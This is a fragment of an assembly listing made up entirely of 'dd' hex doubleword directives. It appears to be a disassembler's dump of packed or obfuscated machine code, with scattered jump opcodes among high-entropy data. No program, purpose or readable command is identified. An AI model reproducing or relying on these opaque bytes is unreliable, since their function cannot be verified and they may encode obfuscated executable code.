		dd 0C7C2D981h, 73BB75BCh, 6118C23Dh, 6060F1F7h,	0FAC2D081h
		dd 616039B5h, 7E961h, 29320000h, 9534B5E4h, 0C28B61D7h
		dd 9810Fh, 8A600000h, 0CA8166E5h, 5A61D866h, 14E959FCh
		dd 1E000000h, 34A7E244h, 6BC44B9Fh, 8030CCE7h, 771E5025h
		dd 0FDEAC32h, 0C86h, 68E0F00h, 0F000000h, 86h, 5060C300h
		dd 0AB35EB81h, 605A3564h, 61605F51h, 0C08B6161h, 0FE9h
		dd 0BAAF1300h, 0DDBBB19Fh, 3428AB30h, 0C620F8DEh, 880FC08Bh
		dd 1, 0B9858DF5h, 0E907DF87h, 0Ah, 4A25B2D8h, 0ECC27F09h
		dd 0FFF98171h, 816660D0h, 81F72FD1h, 0CBD1BAC8h, 8B666147h
		dd 0AE9C1h, 8A5C0000h, 4FFA5771h, 0AE62CA9Eh, 0C007858Dh
		dd 0AE907DFh, 77000000h, 0B6F09F73h, 0D2C29D5Ch, 1185894Bh
		dd 6007D306h, 12840Fh, 0CE80000h, 35000000h, 0D607C693h
		dd 13818A5h, 5F3DE782h,	76E38166h, 858D6177h, 7DFC105h
		dd 3FD48060h, 0FDA8E181h, 89612146h, 0D3349985h, 6E907h
		dd 6D350000h, 81E1E08Fh, 0B8h, 0BE900h,	21CE0000h, 628077ACh
		dd 62998FFCh, 0E960609Bh, 0Eh, 3520DD2Bh, 0D6A6F456h, 15DE1B36h
		dd 616140A8h, 840FC00Bh, 178h, 0D185C6F9h, 5607D318h, 8850Fh
		dd 880F0000h, 2, 0DF686160h, 0FCA9C530h, 0DF1B5FFh, 5E907D3h
		dd 4000000h, 0ECC100D5h, 36A858Dh, 0FE907DCh, 96000000h
		dd 0EB20738Ah, 7ED2E721h, 0C307A9A4h, 0D0FF37EEh, 0AE9h
		dd 0E6271B00h, 80124FBEh, 50CC5CB7h, 8D8DF9F9h,	7D32E31h
		dd 15850FF9h, 60000000h, 8E9h, 27BE0E00h, 8CBA6A13h, 0FBC68172h
		dd 611ECA2Ah, 15BB6051h, 0F51D2355h, 60046A61h,	0BE8h
		dd 0C272D400h, 4E341821h, 74CB6E0h, 820Fh, 61590000h, 100068h
		dd 1850F00h, 0F8000000h, 0F2DB5FFh, 0DE907D3h, 0AC000000h
		dd 309A0B1Ch, 7FB0CFAEh, 47189AA3h, 800FD0FFh, 7, 0ADB5BB60h
		dd 8B61702Bh, 0D30F2DBDh, 10E907h, 97D00000h, 7D07B3F8h
		dd 44E773DFh, 0D321EA5h, 850FC831h, 7, 0D7BF0F60h, 361FB8Bh
		dd 0EE93C7Fh, 4D000000h, 726C9FBFh, 0F04F6C2Ah,	0F6398E86h
		dd 0F8C78102h, 0E9000000h, 0Bh,	0C7EE931Dh, 0AED87105h
		dd 0FD819E7h, 885h, 0FCBF6000h,	0FC495382h, 2447C761h
		dd 60000020h, 11E9h, 0BCC98F00h, 6F2B375h, 0ECD6AC4Ah
		dd 0D2480425h, 50602189h, 7E9h,	3BCC4000h, 0B685E3F9h
		dd 11E95Bh, 7E000000h, 473B42CAh, 0F447851Ah, 785F1A21h
		dd 61ABC179h, 1EDD9D8Dh, 8BF907D3h, 0FE8B6003h,	616DD180h
		dd 840FC00Bh, 48h, 0C890Fh, 850F0000h, 6, 870Fh, 8B0000h
		dd 18D0Fh, 89FC0000h, 14E90443h, 0A8000000h, 1CDE30EAh
		dd 0D89D029Dh, 0EAA2D60Ah, 0BED1DDE2h, 6065A380h, 6E9h
		dd 0EBB9FA00h, 664AE348h, 612433B8h, 234CF6B9h,	2AE900h
		dd 6D0A0000h, 7DCCh, 9 dup(0)
		dd 0F1CE9h, 0C71B6800h,	0E7E907DFh, 68FFF9F9h, 7DFC883h
		dd 0F9F9DDE9h, 0CADE68FFh, 0D3E907DFh, 68FFF9F9h, 7DFCC29h
		dd 0F9F9C9E9h, 0CE5A68FFh, 0BFE907DFh, 68FFF9F9h, 7DFD0D0h
		dd 0F9F9B5E9h, 0D23768FFh, 0ABE907DFh, 0F7FFF9F9h, 4247A539h
		dd 0FFA418A0h, 494E9E30h, 0F29715A5h, 7655A731h, 901AD175h
		dd 28B6771Ch, 941ACFD4h, 25B17318h, 26951DC7h, 36B68E60h
		dd 0B50D97D4h, 0B68E8006h, 0A427F436h, 9F2B011Ah, 0CB578D1Ah
		dd 438F3BF1h, 0CFA48231h, 5B87BCA5h, 0DDF8FF7Bh, 30B0D6E5h
		dd 0AA1B880Eh, 30ACB352h, 454653ABh, 0BB986736h, 4797C9B2h
		dd 0D922A5Ah, 782B4ED4h, 69263D45h, 0E3E8B146h,	0D7E6DEE6h
		dd 466926AFh, 68557623h, 9552DDCEh, 0E92A5869h,	3029B44h
		dd 43AD95BDh, 23AF38B0h, 8B16012Fh, 805Dh, 5A106100h, 5374FAB9h
		dd 3BE83E96h, 3F645C68h, 39C567EBh, 575C616Ah, 8A7FA4Fh
		dd 0D7187754h, 0A032F5AAh, 0F9058619h, 442A8931h, 0B8D34C35h
		dd 0E2B13DEFh, 0E5E66CB5h, 0E56F94D8h, 923CA3Fh, 45AB5E28h
		dd 0D6285378h, 730B7CDh, 1DEB267Ch, 24AA7F28h, 48810A95h
		dd 0BFB9CA71h, 5DB47B65h, 17A6899Eh, 66B2FFF5h,	23B17E23h
		dd 9A1F7402h, 0C3568209h, 20349E09h, 4E0929B4h,	129h, 9F2B0170h
		dd 680EAD15h, 0DC3E9653h, 833D8C2Fh, 3843CD1Eh,	0F336BC6Fh
		dd 198E366Dh, 0F954CD2h, 5F6A396Ah, 46D01344h, 0B53C8445h
		dd 91E8A85Fh, 32751687h, 446366F2h, 99814A0h, 74E02FD2h
		dd 0A8BC7323h, 6287D3Bh, 2B505376h, 8A86D50h, 7153DA06h
		dd 0C040A249h, 7AD0F747h, 0D84D3B43h, 0D9E2AFCFh, 1A921ECEh
		dd 9123AF75h, 4CE48A29h, 0E84FCFD8h, 4BA5A990h,	5C858A64h
		dd 0A3F0B3D6h, 5501B118h, 75B2E79Dh, 12B747E7h,	0ECB7C291h
		dd 6AD6E5DFh, 29917389h, 2BC6C196h, 0B677A33Ah,	41B35474h
		dd 20C52C58h, 0A78861E0h, 0AA807CFFh, 0EFCEF63Ch, 5542EA3Bh
		dd 59790306h, 0FB0373Fh, 4E251EF4h, 8E1DE1EAh, 8EBB6D1Ah
		dd 3A4A57A7h, 0B834BE65h, 81E9C8F0h, 9E051620h,	25EEC050h
		dd 50DA1196h, 0DB0ED3D2h, 6F29601Ch, 0C26h, 46B64AE6h
		dd 0AB018961h, 45B749E6h, 0AEFE8E60h, 44B842E9h, 0DDE6885h
		dd 0C1642983h, 0DD4B933h, 0BC703587h, 8232BC30h, 0B68C4B33h
		dd 0CA2BF36h, 4CA02A01h, 0A319A547h, 985A1015h,	0C979CDECh
		dd 0E40BD58Ch, 4B00D701h, 0C2FB80EEh, 1C0A439Eh, 0BD965F4Eh
		dd 0F5893FE9h, 0D1C9D2Ch, 0D24E0877h, 32CBC55Bh, 35C36237h
		dd 0B7AB5286h, 9D7764Bh, 0B8C35194h, 6E797346h,	376243AAh
		dd 0EABDB3Bh, 44C1116Dh, 7328A364h, 0A9524B2h, 0CFFC865Dh
		dd 115BCh, 2B010200h, 0EAD159Fh, 3E965368h, 3D8C2FDCh
		dd 893BC566h, 52FC8231h, 0D3193E96h, 21AA7747h,	5E8318A8h
		dd 0CDEEB1D8h, 0A68C78F0h, 16ECCF1Ah, 9B0B87Dh,	8675E682h
		dd 0AD39EBB4h, 7480674Fh, 0EC51B746h, 1CD0D7E4h, 1DC9E990h
		dd 1489FD5h, 0A2C8E7E3h, 1692A932h, 5E00A80Dh, 73428209h
		dd 0A5200009h, 171D9A40h, 0E9F2CBBCh, 7D660919h, 0E26AC0E5h
		dd 3FBFCCD7h, 16C45A52h, 0BBB8BEFDh, 5F2C228Bh,	80388034h
		dd 8E3BCB1Bh, 0BB125815h, 9D86228Bh, 0EB8E1ACAh, 0E1AA13B8h
		dd 0DA5BBC44h, 35B1AFF0h, 0CEC2F786h, 5F96B805h, 33F46335h
		dd 2E8718A1h, 3457DDEAh, 69BDE2CAh, 3F4CB2D9h, 31BB7035h
		dd 8B15D6BBh, 0C92206A7h, 982F99h, 0ABEh, 0CE1EB27Eh, 239921C9h
		dd 0CD1FB17Eh, 269626C8h, 0CC20AA81h, 0A54600EDh, 29FCA11Bh
		dd 0A57C219Bh, 24C8CD1Fh, 0EADA2498h, 0B68BA3CBh, 44DA1736h
		dd 4CA02A01h, 0C3498D64h, 0F3A276CAh, 810DDFC8h, 2B017D2Bh
		dd 578D1A9Fh, 8F3BF1CBh, 61823143h, 0CADD8701h,	0E6A117B3h
		dd 9117CACFh, 0AE0DB7E8h, 58AA31C8h, 0D22C4F3Ch, 911A08E3h
		dd 0F133687Ah, 65F33265h, 0BE404B54h, 87EFCEF6h, 0FB36C349h
		dd 88916D0Eh, 0F682A201h, 3FCB2106h, 5CDE833Ah,	2B4B9F76h
		dd 0CEB216Fh, 0A2F47B31h, 42A28BC2h, 0A9656A5h,	0DB6E737Ah
		dd 13A9DCBFh, 5D8F9468h, 54BBC3F2h, 622F9F5Ah, 0EA318831h
		dd 0DB2F5B98h, 3B0343B1h, 0B038EAAFh, 86F59609h, 36B45B7h
		dd 0F78BCD28h, 0D3F880A2h, 328A8E19h, 5A4BFB83h, 19A26F9Fh
		dd 0DAD25E8Eh, 5663EF35h, 0C4B7C667h, 2DB8AB15h, 0DEBF6DC3h
		dd 16D5BAE9h, 0B23AF095h, 0AA33EE07h, 6D0BE842h, 5960E83Ah
		dd 0ED0A9D0Dh, 6E8D1ACAh, 0D5BA32BEh, 0FAF1830Fh, 0C821B9C8h
		dd 896C3742h, 0D2F912F2h, 0C70BBFF7h, 1775FEBDh, 70AE6ED9h
		dd 5A412DECh, 732B5362h, 0F29FA6AEh, 0F48635C9h, 0FDB41487h
		dd 6E44B861h, 2B8A3AF8h, 0C34207A0h, 0AA3F7019h, 77A23B4h
		dd 0D295643Ch, 4931802Ch, 0BDBE8219h, 0C3FA7FD4h, 0B785461h
		dd 0CF6AC348h, 8A46F57Ch, 0E7BE8219h, 2C5DEF40h, 0A326B877h
		dd 0D027C024h, 50920799h, 0BE29C3C8h, 8EE7C014h, 208F27F2h
		dd 0E0E855Ah, 0D5B6C5CEh, 526h,	9AFBDBE9h, 0E6DEE62Ch
		dd 5397DFDEh, 20B3E96h,	810A59DFh, 7033B53Ch, 7AACF11Eh
		dd 0B7C4DFEAh, 0B696DE06h, 302A13A0h, 0CC8671A2h, 8F1E711Ah
		dd 16C2538h, 879A22C9h,	53625AB8h, 10EC032Bh, 0FC9F29Fh
		dd 68908E68h, 0A908B08Ah, 976F75C1h, 795F6C35h,	11A36FDBh
		dd 0E4328AA2h, 0EF33687Bh, 6F596467h, 0EDBA19FAh, 0DFEA72B8h
		dd 7A21B7C4h, 0D6590991h, 497019CBh, 7F35FD69h,	72CD6630h
		dd 418168DDh, 59D1DA0Eh, 7408B5D6h, 0C45C42CCh,	1A8DB9F1h
		dd 721FCD63h, 0FB875D42h, 40C81C01h, 4E3483EAh,	0C279813Fh
		dd 59D98AD9h, 0E04E2946h, 63ECACD3h, 23000008h,	967B7105h
		dd 2BF0CC54h, 8D926AFCh, 2EF3C959h, 0BA7973FDh,	44CE1531h
		dd 0F482A368h, 48CE13F8h, 0F17DAF74h, 0F2C171FBh, 36B6898Ch
		dd 104BE300h, 0B7EC985Ah, 0C5DEEB73h, 0FFAF0EB6h, 0C20D3DE4h
		dd 0D7EA9FF4h, 0A32C2BD2h, 0B34B696Bh, 20C4E3E6h, 0AB93E594h
		dd 78AC38F6h, 0D814B7ECh, 958F3BCFh, 4F7860EFh,	0BDC79CCDh
		dd 0F2A655FEh, 5281CE9Eh, 0DDC0DBC0h, 0B250AA42h, 73010A5Ch
		dd 319FD37Ch, 3681FC82h, 42A3704Eh, 5866441h, 46D212F7h
		dd 0F46A8143h, 0C7C4837Eh, 8CF2C1F3h, 4E36F2h, 0ED3F6813h
		dd 0F24B3382h, 0D2BF4E36h, 0FE6EF881h, 98D212E9h, 1006879h
		dd 8C1CCA68h, 42308CD7h, 32B6EC12h, 0C724179h, 774E3689h
		dd 0D2D2CA35h, 3AE7D759h, 0A02BB76Dh, 391EBh, 9E445900h
		dd 10497516h, 0CDEC985Ah, 35613254h, 42432229h,	2E73515Eh
		dd 734A71FFh, 5878584Ah, 0FA2F7440h, 242D1DC6h,	5102690Dh
		dd 0AA547728h, 0B6EBD3E1h, 0C5E2E977h, 7318941Eh, 99E26B0h
		dd 7A2554E6h, 14036B4Ah, 0AA770A31h, 0B011A821h, 55046CDAh
		dd 161EE5A5h, 653317A6h, 0EB9C0DB9h, 8C5AD39h, 0FD1DE371h
		dd 718D2CAh, 18D80000h,	0BF632884h, 0FE0C537h, 4C9A7F7Dh
		dd 885B40BCh, 0DE0FAEFEh, 0C339C368h, 2B810FDEh, 0BF3DC366h
		dd 2E7E0ADAh, 0B9C1F0C4h, 2D36B687h, 5A105A34h,	1DD4EC98h
		dd 585754EFh, 3E95CD12h, 22189D86h, 0B747E7CAh,	0B9C29112h
		dd 22B58404h, 0AB0AB25Ch, 2109E1C3h, 5C616A37h,	67115B28h
		dd 8872C578h, 65F93F4Eh, 56960DBCh, 0E4951BCEh,	0C4AA09BBh
		dd 3876B647h, 0FCC4386Bh, 92F271F5h, 33C2BCBBh,	9E358A00h
		dd 0CDDAE1B2h, 650DAC17h, 8276B5E3h, 30D9D563h
		dd 6C37C767h, 1AA6465Dh, 786FFB6Fh, 0D7D56183h,	3639B909h
		dd 274E75Bh, 1E570000h,	536F17A6h, 0ACDA3E96h, 671CB5Ch
		dd 4611FAF4h, 396E1DA3h, 74F7B9F3h, 7A98FDC0h, 0E103A029h
		dd 15C15755h, 8A0FA7DDh, 0F7A8D157h, 34C6E9D4h,	396F4985h
		dd 0C67DBB77h, 0BAE759F7h, 0E0C51322h, 0ADF68309h, 13D9CEF6h
		dd 1AA10287h, 0EE720EAFh, 0A9162B5h, 1628D3EDh,	0D2E61287h
		dd 6CCF264Bh, 0D50E35E6h, 7148B6C5h, 72627077h,	0A03F80A7h
		dd 7Bh,	985A109Eh, 9DE5D4ECh, 113E9653h, 72418308h, 5B49AE6Ah
		dd 0E274B3E8h, 0FEBFCCD7h, 46200D3Bh, 0CB1C8129h, 6C0F9039h
		dd 0C32B1151h, 0B2298F36h, 9614BF75h, 831FF130h, 0BB208A28h
		dd 0B109BBE8h, 88607C02h, 0C45699C4h, 76C421EAh, 0A1D731B3h
		dd 4D6C5D5Eh, 9D39F8C5h, 6517D7B8h, 7B320105h, 91E00C0Eh
		dd 19B92E9Eh, 0A9093729h, 0C4FE5990h, 0F6322B1Fh, 0D9B6D5h
		dd 1080000h, 0AA1A9F2Bh, 55DBD443h, 893B2CF4h, 95D5442Ah
		dd 0E0EBB83Eh, 0EF9A24C7h, 0E1E874B8h, 0EE9622C2h, 0D4E575B9h
		dd 6D3CC0CBh, 7682D3EAh, 159D455Ah, 70A45766h, 7108127Ch
		dd 26EE9BC3h, 19A54740h, 63861BA3h, 0C8F3ACDDh,	0ABA78EEh
		dd 27FDF9ABh, 0C012C041h, 249CD5FBh, 0A3AEED95h, 0EFB861E2h
		dd 990AAF3Fh, 0DAB489F2h, 0B3EEBEBDh, 71363E4Bh, 259F2CBEh
		dd 5FE1089Dh, 2952018Dh, 0C923AD7Eh, 8D951FC4h,	4D568F3Eh
		dd 0E7D4C4FBh, 0A7000004h, 12F7F589h, 0AF7448D0h, 19FEEE80h
		dd 0A26745D5h, 4605F781h, 0C04AA1A5h, 780627ECh, 0C44A9F84h
		dd 750123E8h, 7645ED77h, 36B68510h, 1D76784h, 644CA02Ah
		dd 16A8475Ch, 0F57D3073h, 693E9652h, 588C1BA0h,	142F0CCh
		dd 8D1A9F2Bh, 6E291D57h, 0F13A744Ah, 0ACF789A6h, 0F4336850h
		dd 4E6D5762h, 3E95F728h, 17A4EF9Ch, 0DDE72B9Fh,	68A820DEh
		dd 8E554AC8h, 0A12A7504h, 1FA6391Ch, 35F8AD2Dh,	52DA24A7h
		dd 7F0C964Dh, 0AFD163Eh, 7720CE42h, 497B28B6h, 0A289DBA2h
		dd 5A8BC982h, 0B1E2BDCCh, 0FBA46E6h, 0DBE2E794h, 4EAFA90Bh
		dd 7B485E4Eh, 743AE334h, 420B79B4h, 47C3E448h, 66555F93h
		dd 0E15CAC8Ch, 0DC1C8E7h, 0E108B0A6h, 0C73BC122h, 36B0293h
		dd 3DB2D422h, 0D421F87Eh, 4F9F6CB2h, 46CC1542h,	205B6043h
		dd 0BE3FE97Dh, 1A077516h, 2B0114A2h, 578D1A9Fh,	8F3BF1CBh
		dd 14893143h, 863744D0h, 719888Fh, 604CAFA4h, 7FB281DCh
		dd 6736C340h, 9820C2D7h, 7BFE0BF3h, 8BBEDE42h, 6EC4CDEBh
		dd 0A677ECC8h, 0E3448161h, 0C5E20AADh, 0C0FABD0Dh, 4FEBBFh
		dd 1E530000h, 0BAE0ADD7h, 0FE8D7CB8h, 0A4D002B8h, 0BD2F1F15h
		dd 0A08EE87h, 0A97C05D1h, 4364C0C4h, 37424FAFh,	0B923A886h
		dd 0BC08B80h, 0B27A9CD5h, 0A82AD3Bh, 0D1FA9ACDh, 0B1FC0FECh
		dd 0A14BEE86h, 8878CC06h, 0BADF56CCh, 0DDAEDD6Bh, 150h
		dd 9F2B01E1h, 0CC568D1Ah, 0BE46E6BDh, 0BC42E76Dh, 0E4C1E2E7h
		dd 30A4015Dh, 7B2E170h,	0ECC04CA0h, 75447C44h, 3E962D0Dh
		dd 9DE59881h, 113E962Dh, 873A8308h, 1446C905h, 7F7E6434h
		dd 0B8FF0BE2h, 2B671A3Ch, 92CF5EA0h, 0AD3E958Bh, 4E9E2AFAh
		dd 6D17A349h, 606BF138h, 4F905769h, 64581E29h, 62D8DEEDh
		dd 0A9B504B0h, 24A756FCh, 0EC2C9BB5h, 2ACB25F8h, 7EE08C0Fh
		dd 0D5811795h, 2348671Dh, 54E3F4E8h, 9731C70h, 3A1DD460h
		dd 5A175B4Ch, 0E5D4E992h, 68D7C5DBh, 470DE4DCh,	0A99CD028h
		dd 0D41A601Dh, 858E75E9h, 2890FD2h, 5D650FFCh, 77DE1096h
		dd 0EB90FC45h, 0A7DD67BCh, 0FE5BC40h, 7CFF54C0h, 3EE3B880h
		dd 4F9413B8h, 0AC1F0FE6h, 0AD2B6424h, 0E96A6A10h, 0F239DE75h
		dd 153E6168h, 0D4F3E43Eh, 853CEDF7h, 27113h, 6BFF3100h
		dd 0CE568C91h, 64F639DEh, 0D3638388h, 65EF34D9h, 343A887h
		dd 0C16656E0h, 90EDE6Ch, 0BD625AE0h, 97E1DB67h,	83660CABh
		dd 1DA36B6h, 0A42A012Dh, 0DBA31283h, 4F3E9653h,	32421142h
		dd 53432B8Ah, 0EAB73E96h, 2B931BE1h, 535E2493h,	0C9D23E96h
		dd 9653CEB4h, 0E59423Eh, 802754DCh, 0DECC20ACh,	0EC985A10h
		dd 0A5CDECD4h, 193E9653h, 53353D70h, 0E0A93E96h, 0CCAE9DBh
		dd 6F404096h, 0A30E7A61h, 0B382FF9Eh, 1EA63724h, 6E9BD79Fh
		dd 3D3E4B76h, 0C6F3A03Eh, 0FF5F26F7h, 0AA822B1Eh, 693E1F92h
		dd 778734C6h, 0E370DCC4h, 0AB1D1481h, 0F346963Ch, 0E9745AEEh
		dd 0D0000000h, 90A1C9E8h, 0C15766Eh, 2B013F7Fh,	5C90159Fh
		dd 0D08311D4h, 0F4D5F6A9h, 0C7F27CAFh, 39D1E7F6h, 0BB986CC8h
		dd 1BC2D834h, 0F812815Ah, 129A4A3Dh, 604346D2h,	10D4B933h
		dd 12F9F084h, 7E04DD2Bh, 0A94DA8FBh, 0D6F398E6h, 1CA86AE0h
		dd 97C3329Dh, 76BAB8Dh,	9E550325h, 53B046A1h, 88F39894h
		dd 746ACDB5h, 7320BEEEh, 0FB37A379h, 0DC0EEAC9h, 412DE851h
		dd 97A5DD46h, 597EF900h, 0BC7035C5h, 51168930h,	237C0D9Dh
		dd 0B186698h, 75FF2479h, 18B5A3Fh, 8C17A228h, 0CAF1B2D7h
		dd 2CB66D32h, 0B7756B46h, 6F296050h, 10Ah, 328A1ECAh, 0CF2DB56Dh
		dd 318B1DCAh, 0D22ABA6Ch, 308C16CDh, 39EA5C91h,	95583DAFh
		dd 39F0B507h, 905439B3h, 763EA804h, 0B6813F47h,	0E8B6B336h
		dd 4CA02A01h, 0C71DA547h, 0A694683Bh, 83A32B01h, 8A19A0F3h
		dd 1EA6CE5Ah, 9653D79Fh, 3D3E4B3Eh, 0D7F0F7BFh,	0B646E850h
		dd 0E50B6E3Fh, 0A86AE0D6h, 9D1CA41Ch, 3E9606D5h, 13A14449h
		dd 0EF823B40h, 3C61C8DDh, 7064EB60h, 4251AD80h,	318736B6h
		dd 0A2426168h, 0A61EA616h, 0CA16F17h, 9536E356h, 984AD212h
		dd 6D366910h, 33E35D5Ch, 207AAA59h, 3C7E629Eh, 0F8E6B469h
		dd 0E5079CDBh, 6BF339C2h, 198A2FB7h, 37B33A4Ah,	322154D7h
		dd 0B6F3F740h, 5E350C20h, 0DA43487h, 93380E89h,	0F480A469h
		dd 0D210DEC5h, 64E4EB05h, 28FAADD6h, 0E1C6F3A0h, 0B0F78208h
		dd 0EAC9F07Ch, 320AEDFAh, 40D2158Ah, 87656639h,	7EA3F820h
		dd 10D4D3F8h, 0C1632884h, 3148435h, 66000000h, 2F01BE00h
		dd 73B9EE9Bh, 1CC5E2E7h, 71B4F396h, 1AD1D6E3h, 69BAE990h
		dd 19CDDADFh, 84A30089h, 0AE0C7F2h, 6899F782h, 3EBh, 52240C89h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 1C895C24h,	20A86824h
		dd 3C890000h, 62BA5224h, 0BB0C073Ah, 13E6FF6Ch,	148BD329h
		dd 4C48124h, 83000000h,	248904ECh, 24048124h, 4, 4EC835Fh
		dd 8F241C89h, 34FF0847h, 0C4815F24h, 4,	5B2434FFh, 4C481h
		dd 0E3E90000h, 6EFFF9EAh, 0D56F3C9Ch, 974E75F9h, 0CE10A656h
		dd 0D366B83Bh, 0C50307DFh, 2919E0FFh, 0B2567E08h, 5B205C03h
		dd 2DB47A48h, 0B461707Fh, 7FC34E53h, 2A06F5Ah, 0F4ED76BFh
		dd 1DFD466Ah, 0DFCF6E4Bh, 0CF8978DDh, 30040118h, 0F93C48CAh
		dd 0DAB767E9h, 867879D3h, 0C0614A1Bh, 239F046Dh, 68DE1315h
		dd 62713E01h, 0AF436233h, 61437643h, 37156C65h,	11E80BA9h
		dd 6A000000h, 0A5B3D6FDh, 6BE8AED3h, 415DFD1Bh,	0A8660796h
		dd 0D1BF0F58h, 59B6C081h, 0F530000h, 484h, 5CBF6600h, 4BBB5F48h
		dd 8B000016h, 52C18108h, 662B50E8h, 0E1D7CE81h,	3ECC181h
		dd 0F181687Fh, 10D89CE1h, 13E8h, 44C12800h, 8620B84Fh
		dd 5FDD983Eh, 13626145h, 7B52A837h, 515AFA8Bh, 890Fh, 8F0000h
		dd 4B04E883h, 0FFB9850Fh, 0E953FFFFh, 14h
		dd 0D7AE4850h, 9D882DDFh, 6171CC56h, 0C13A4FD6h, 0BF7BF266h
		dd 0B38D8D5Eh, 6A07DFD5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 4A3AC357h, 55F58FA8h
		dd 89E02B06h, 0D329418Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0C7BBD748h
		dd 0C7632B87h, 0D32BA185h, 5E9C07h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 98489A33h
		dd 0ADB964B7h, 8D0FA9E4h, 1, 79B589F5h,	0C707D334h, 0D3331185h
		dd 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 115658E2h, 0CD32DEAEh, 8589D6FBh
		dd 7D31455h, 24A5B5FFh,	0BD8B07D3h, 7D31A51h, 2D3D95FFh
		dd 0D38007D3h, 0FF006A89h, 0D3301995h, 0EBC08B07h, 87EE532Eh
		dd 0B9AF283Ch, 0D4CB8056h, 70BB4E91h, 12F810A0h, 88205A43h
		dd 93624B6h, 0A02CBD53h, 7E045FCh, 8A8BBDC0h, 47405356h
		dd 0E99B64C9h, 1Eh, 1E60BC97h, 6 dup(0)
		dd 46E90000h, 68000006h, 7DFD776h, 0F5FC3BE9h, 0D80968FFh
		dd 31E907DFh, 68FFF5FCh, 7DFDA58h, 0F5FC27E9h, 0BCFC9CFFh
		dd 0C7079E7Ch, 0B7F79399h, 0C905A389h, 0B6F69197h, 576CD78Ah
		dd 624878B8h, 525888C4h, 5D3B7DB9h, 7F5484C0h, 0D3D24F8h
		dd 0C6A2F48Ah, 0A9E9C8C2h, 512A1CB9h, 492E6A0Ch, 0FE5C1C19h
		dd 12F3E521h, 8B71E6E5h, 605BDA06h, 44FF2A1h, 0FD73C7DBh
		dd 0C09CFED6h, 79717106h, 40BC206Bh, 0B054DD04h, 0A22DA238h
		dd 0B65B8BD2h, 9987F078h, 470D9FA1h, 0ED7C52D4h, 90A50B5Ch
		dd 6F879361h, 10000004h, 0CF42B492h, 0F4F1F12Dh, 6820646h
		dd 0FE492E1Ah, 0E26D6C8Bh, 9EFF7712h, 51FBFA72h, 0F7E011EAh
		dd 0BAA6FD8Bh, 7523CDABh, 7A395505h, 5D724C24h,	7877D077h
		dd 8EC0B50Bh, 0B085B5F1h, 0B58710C7h, 0B7877AEh, 129E5A13h
		dd 9CC64E5Ah, 0F0CF2185h, 8AEA3D85h, 0E995BE72h, 26255237h
		dd 36DFCBB1h, 0D3B3C03Bh, 0ECC9F935h, 5B52DC6Eh, 0F3A595E7h
		dd 2DCD2A83h, 0E532718h, 8BB2B45Fh, 6D4E8CE1h, 0E2C48B8Ah
		dd 0D6CF0B4Bh, 0D3C7AD2Ah, 4C088E4Bh, 9349B5F1h, 0A6760196h
		dd 8354E4BFh, 0DD4D4B24h, 951E6000h, 35FA7309h,	0BF78B451h
		dd 0C7F333CFh, 0CF0B47E5h, 0BFF01D6h, 7834700Dh, 0BB18AA13h
		dd 39CD76ECh, 52000004h, 644A76B6h, 515789C9h, 614779B9h
		dd 4F4D8BC7h, 9D7070B0h, 0A2E2BD06h, 9AD6B8B6h,	0A7E3C09Eh
		dd 96D2B3B9h, 12E2EDAAh, 0F48A0C4Bh, 0E5344030h, 583EFE92h
		dd 0C966C3F9h, 0CF5329AEh, 687EA1FBh, 0D15D48A1h, 95532B97h
		dd 0B83D9464h, 599A9AC8h, 62BB0D4Bh, 0AA9C135Ch, 4FC88FCFh
		dd 8D4BE66Dh, 0F6A2CBF4h, 65A5846Ah, 1762E075h,	0AF38A23Dh
		dd 15424D4h, 2CF7C61Ch,	4C0E6A48h, 72520D6Dh, 2D2FD48Bh
		dd 3D981450h, 16F0C51Bh, 3A6B74Ch, 0DFBF0000h, 0E0BBA19Fh
		dd 0E2BAA0A0h, 0DAB8B6A2h, 0DDBCA29Eh, 59F09B9Dh, 114F8F6Ah
		dd 2B2D690Bh, 2818542Dh, 37296542h, 0D87F555Ah,	0BDF48A03h
		dd 92E5A5B1h, 1C931C93h, 55DB1138h, 0FF0176F3h,	6AD9727h
		dd 3D91C878h, 0A6D612FAh, 475B151h, 0EACA458Ah,	0B75F163h
		dd 4F8F2648h, 254A7828h, 28614535h, 0BC0E11A6h,	6512297Dh
		dd 4F31CE15h, 76F1CB09h, 0B52296E7h, 9702E731h,	26000002h
		dd 24ABE7C8h, 0DB82C9ABh, 8EE7F355h, 19E8092h, 0C5B293C5h
		dd 0C32B11C6h, 9C4CF634h, 71808759h, 2D34088Fh,	92772397h
		dd 0BDAD1BDDh, 2583915Ah, 0FC8AD57h, 0B2B1821Fh, 0CF6F8794h
		dd 1C06F2DDh, 0B0F08B7Bh, 73C3B5B2h, 336EC758h,	0F5E9AD13h
		dd 4E0C7066h, 33CE3ABAh, 0B9E65459h, 0C124048h,	0EA83FEFAh
		dd 0A9B0840Bh, 0EC6BB18h, 6BA78569h, 9B8A766Fh,	8DA59F15h
		dd 95F7h, 92E53100h, 0CC381C93h, 0BA5D69AEh, 0F8B2C140h
		dd 0CFA5DD49h, 55490C88h, 0B16F88EDh, 5FBC27B9h, 0E4F28246h
		dd 0EDCB2141h, 2EA92E47h, 0ACCE074Eh, 15036CCAh, 6012F0Bh
		dd 586AC7AFh, 724E68EEh, 0AE3017FDh, 0E0953115h, 0AEDE8557h
		dd 0AAC33115h, 0E1B4C8EEh, 0E7B9DC0Eh, 0EC58C70h, 0BCAAB9D2h
		dd 0BEB7A3DFh, 0F3F1E799h, 1EBD717h, 0E36A4A2Ah, 0C8B9D20Eh
		dd 949AC8AFh, 0AD8AB8F8h, 93720BC6h, 0D20E9AC1h, 6176FFB9h
		dd 32831A95h, 790C90BEh, 0FE9Eh, 0E7C8CA00h, 0E3C10AA2h
		dd 0BBA7D0A7h, 2196D6B1h, 283C0FA1h, 0D0B0643h,	6A48203h
		dd 0B79790CAh, 0C89D9DD9h, 0D9B552D8h, 0AF700A69h, 785C3EF2h
		dd 0F35523D1h, 9EDAB8B6h, 0BAA49EB9h, 0C79FA1DDh, 16A1CF2Fh
		dd 85CAAB9Bh, 57836CA8h, 0CA0E6DC9h, 0B39C74B0h, 380975C5h
		dd 2C10DF69h, 6B3D1D17h, 0F12DCA9Ch, 74E852EFh,	0DB7003FCh
